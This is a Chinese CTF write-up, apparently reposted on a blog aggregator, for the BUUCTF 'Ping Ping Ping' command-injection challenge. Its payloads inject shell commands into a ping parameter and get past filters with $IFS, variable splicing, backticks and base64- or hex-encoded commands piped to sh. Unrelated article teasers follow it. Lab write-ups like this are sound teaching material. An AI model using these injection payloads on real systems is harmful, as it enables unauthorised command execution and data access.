命令执行绕过 [GXYCTF2019]Ping Ping Ping1

news2024/12/24 10:22:07

参考原文:CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤_Tr0e的博客-CSDN博客文章目录前言CTF题目绕过姿势命令联合执行关键词的绕过内联执行绕过多种解法变量拼接内联执行Base64编码总结前言为了备战(划水)5 月份广东省的 “红帽杯” 网络安全竞赛,继续开始到 BUUCTF 平台练习 CTF 题目。在去年参加的第四届强网杯全国网络安全竞赛中,就遇到过命令执行漏洞绕过的题目 CTF解题-2020年强网杯参赛WriteUp(题目名称 “主动” ),当时采用了 base64 编码联合反引号、变量拼接两种方式绕过了 flag 关键字的过滤并读取了 flag 值:本文目的在于结合 BU_绕过空格过滤https://blog.csdn.net/weixin_39190897/article/details/116247765

这里讲三种绕过命令执行的姿势

1.反引号绕过或者内联执行绕过

使用内联执行可以将` `内的输出作为前面命令的输入

所以cat$IFS$1`ls`也相当于cat falg.php;cat index.php

2.变量赋值绕过

通过变量赋值,再进行拼接,即可进行绕过

如:$a=fl;$b=ag;cat $a$b.php

       payload1;a=ag.php;b=fl;cat$IFS$1$b$a

3.利用编码和符号绕过

Linux下,绕过空格有

${IFS}                        cat${IFS}flag.txt

$IFS$1                      cat$IFS$1flag.txt

$IFS                          cat$IFSflag.txt

<                               cat<flag.txt

<>                             cat<>flag.txt

{cat flag.php}

%20                          cat%20flag.txt

%09                          cat%09flag.txt

\  反斜杠                    ca\t fl\ag.txt

''   单引号                   cat fl''ag.txt

 `` 反引号                   cat$IFS$1`ls`

base64:

bash和sh是用来执行命令的,

echo YWJjZGU=|base64 -d //打印出来abcde

echo Y2F0IGZhbGcucGhw|base64 -d|bash          //cat flag.php

echo Y2F0IGZhbGcucGhw|base64 -d|sh              //cat flag.php

hex编码绕过:

echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.php

unicode编码

$(printf “\154\163”) //ls

$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php

题目来源:BUUCTF [GXYCTF2019]Ping Ping Ping

拿到题目

我们用  ?ip=127.0.0.1;ls

我们再用命令 ?ip=127.0.0.1;cat flag.php

发现空格space被过滤掉了,我们可以尝试绕过空格

发现用${IFS}$命令也不行,那我们尝试用其他方法

发现过滤了{}符号symbol,于是我们用$IFS$命令

发现过滤了flag字符

那我们就尝试访问index.php

 发现过滤了很多符号

如:

& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"

那我们采用变量赋值的方法绕过

payload:?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源码得到

其他方法:

内联执行绕过(将后面命令的输出作为前面命令的输入)

payload:?ip=127.0.0.1|cat$IFS$1`ls`

Base64编码绕过

payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

echo Y2F0IGZhbGcucGhw|base64 -d|sh

        
 

类似题目解题方法总结

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1084578.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用路由器远程维护三菱PLC操作指南

用路由器远程维护三菱PLC操作指南

基于Linux上MySQL8.*版本的安装-参考官网

本地hadoop环境安装好,并安装好mysql&#xff0c;下载hive安装包 mysql下载地址及选择包 MySQL :: Download MyS的QL Community Server (Archived Versions) mysql安装步骤 下载与上传解压给权限 #mysql安装包上传到/opt下 cd /usr/local/ #解压到此目录 tar -xvf /opt/mys…

全网最牛,docker容器搭建—Jenkins+Python+Allure自动化测试...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、安装docker 安…

外汇天眼:eToro 2022年收入暴跌 57%

eToro (UK) 在 2021-2022 年 IPO 上市尝试失败后大幅削减成本&#xff0c;导致业务活动急剧下降&#xff0c;其估值也在过去两年中稳步下降。 外汇天眼温馨提醒&#xff1a;在做外汇交易之前&#xff0c;一定要审核清楚外汇平台的资质以及官网信息&#xff0c;以防上当受骗&…

c++视觉处理 ------ 反向投影图和直方图的变化

通道混合&#xff1a;cv::mixChannels cv::mixChannels 是 OpenCV 中的一个函数&#xff0c;用于执行通道混合或通道分离操作。通常情况下&#xff0c;这个函数用于处理多通道图像&#xff0c;允许你从多通道图像中提取或重新排列通道&#xff0c;或者将不同通道的数据组合到一…

用于物体识别和跟踪的下游任务自监督学习-2-(计算机视觉中的距离度量+损失函数)

2.4 计算机视觉中的距离度量 在深度学习和计算机视觉中&#xff0c;距离度量通常用于比较图像、视频或其他数据的特征或嵌入。根据具体任务和数据属性&#xff0c;可以使用不同类型的距离度量。下面介绍了深度学习和计算机视觉中使用的一些常见类型的距离度量。 余弦相似性距…

spring6项目搭建(入门)

文章目录 环境要求构建模块引入依赖初试Bean创建测试类测试对象实现的原理 环境要求 JDK&#xff1a;Java17&#xff08;Spring6要求JDK最低版本是Java17&#xff09; Maven&#xff1a;3.6 Spring&#xff1a;6.0.2 构建模块 首先建立的spring的项目&#xff08;project&…

easy code 模板案例 (author作者 修改+swagger-ui+mybatis plus)

pojo ##引入宏定义 $!{define.vm} ##使用宏定义设置回调&#xff08;保存位置与文件后缀&#xff09; #save("/pojo", ".java") ##使用宏定义设置包后缀 #setPackageSuffix("pojo") ##使用全局变量实现默认包导入 $!{autoImport.vm} import ja…

不了解无线调制方式?这几个“老古董”大家现在还在用!

当我们使用手机、电视、互联网或其他无线通信设备进行通信时&#xff0c;数字调制技术起到了关键作用。这些技术是将我们的声音、文字、图像和数据转换成适合在无线信道上传输的模拟信号的重要工具。 从最早的调幅调制&#xff08;ASK&#xff09;到现代的正交频分复用&#xf…

半导体分立器件动态测试参数有哪些?纳米软件半导体测试厂商如何助力测试?

上期我们介绍了半导体静态测试参数以及测试静态参数的必要性&#xff0c;今天我们将对半导体分立器件的动态测试参数展开描述。动态参数测试是半导体测试的另一项重要内容&#xff0c;它可以检测半导体在开关过程中的响应时间、电流变化和能量损耗情况。 半导体动态测试参数是指…

【C++】C++11——智能指针、内存泄漏、智能指针的使用和原理、RAII、auto_ptr、unique_ptr、shared_ptr、weak_ptr

文章目录 C117.智能指针7.1内存泄漏7.2智能指针的概念7.3智能指针的使用7.3.1 auto_ptr7.3.2 unique_ptr7.3.3 shared_ptr7.3.4 weak_ptr C11 7.智能指针 7.1内存泄漏 什么是内存泄漏&#xff1a; 内存泄漏指因为疏忽或错误造成程序未能释放已经不再使用的内存的情况。内存泄漏…

矿区井下智慧用电安全监测解决方案

一、背景 矿区井下作业具有复杂的环境和较高的危险性&#xff0c;对于用电安全的要求尤为严格。传统的管理模式和监测方法往往无法实时、准确地掌握井下用电情况&#xff0c;对安全隐患的排查与预防存在一定局限性。因此&#xff0c;引入智慧用电安全监测解决方案&#xff…

MySQL系列第一篇入门

1.什么是关系型数据库呢&#xff1f; RDBMS 是一种结构化数据存储系统&#xff0c;使用表格间的关系来存储和操作数据。 在关系型数据库中&#xff0c;数据以行和列的形式存储&#xff0c;其中每一行表示一个关系或实体&#xff0c;每一列表示该实体的某个属性或特征 关系型数…

干洗店管理软件,家政洗衣洗鞋店上门服务小程序

干洗店管理系统&#xff0c;洗鞋店小程序下单&#xff0c;收衣收鞋预约&#xff1b; 洗衣店洗鞋店收衣管理APP&#xff0c;根据会员所属地区或门店&#xff0c;自动把信息派送到收衣员工的APP上。 洗衣店洗鞋店小程序&#xff0c;支持通过预约单&#xff0c;生成会员收衣单据或…

Cisdem Video Player for mac(高清视频播放器) v5.6.0中文版

Cisdem Video Player mac是一款功能强大的视频播放器&#xff0c;适用于 macOS 平台。它可用于播放不同格式的视频文件&#xff0c;并具有一些实用的特性和功能。 Cisdem Video Player mac 中文版软件特点 多格式支持&#xff1a;Cisdem Video Player 支持几乎所有常见的视频格…

Flask框架配置celery-[1]:flask工厂模式集成使用celery,可在异步任务中使用flask应用上下文,即拿即用,无需更多配置

一、概述 1、celery框架和flask框架在运行时&#xff0c;是在不同的进程中&#xff0c;资源是独占的。 2、celery异步任务如果想使用flask中的功能&#xff0c;如orm&#xff0c;是需要在flask应用上下文管理器中执行orm操作的 3、使用celery是需要使用到中间件的&#xff0…

2023年【煤气】试题及解析及煤气复审模拟考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 煤气试题及解析考前必练&#xff01;安全生产模拟考试一点通每个月更新煤气复审模拟考试题目及答案&#xff01;多做几遍&#xff0c;其实通过煤气理论考试很简单。 1、【单选题】100mm以上的煤气管道着火,( )一下把煤…

vue3封装分页组件

1.新建Pagination文件以及该文件夹下新建index.vue 2.在index.vue文件中编写一下代码 <template><div :class"{ hidden: hidden }" class"pagination-container"><el-pagination:background"background"v-model:current-page&qu…

全国快递查询接口,快递,全球快递,配送,物流管理,物流数据,电子商务

一、接口介绍 支持国内外1500快递物流公司的物流跟踪服务&#xff0c;包括顺丰、圆通、申通、中通、韵达等主流快递公司。同时&#xff0c;支持单号识别快递物流公司、按次与按单计费、物流轨迹返回等功能&#xff0c;以满足企业对快递物流查询多维度的需求。 二、使用案例截…

IDEA中.gitignore配置不生效的解决方案

一、创建项目 二、执行以下Git命令 git rm -r --cached . git add . git commit -m "update .gitignore"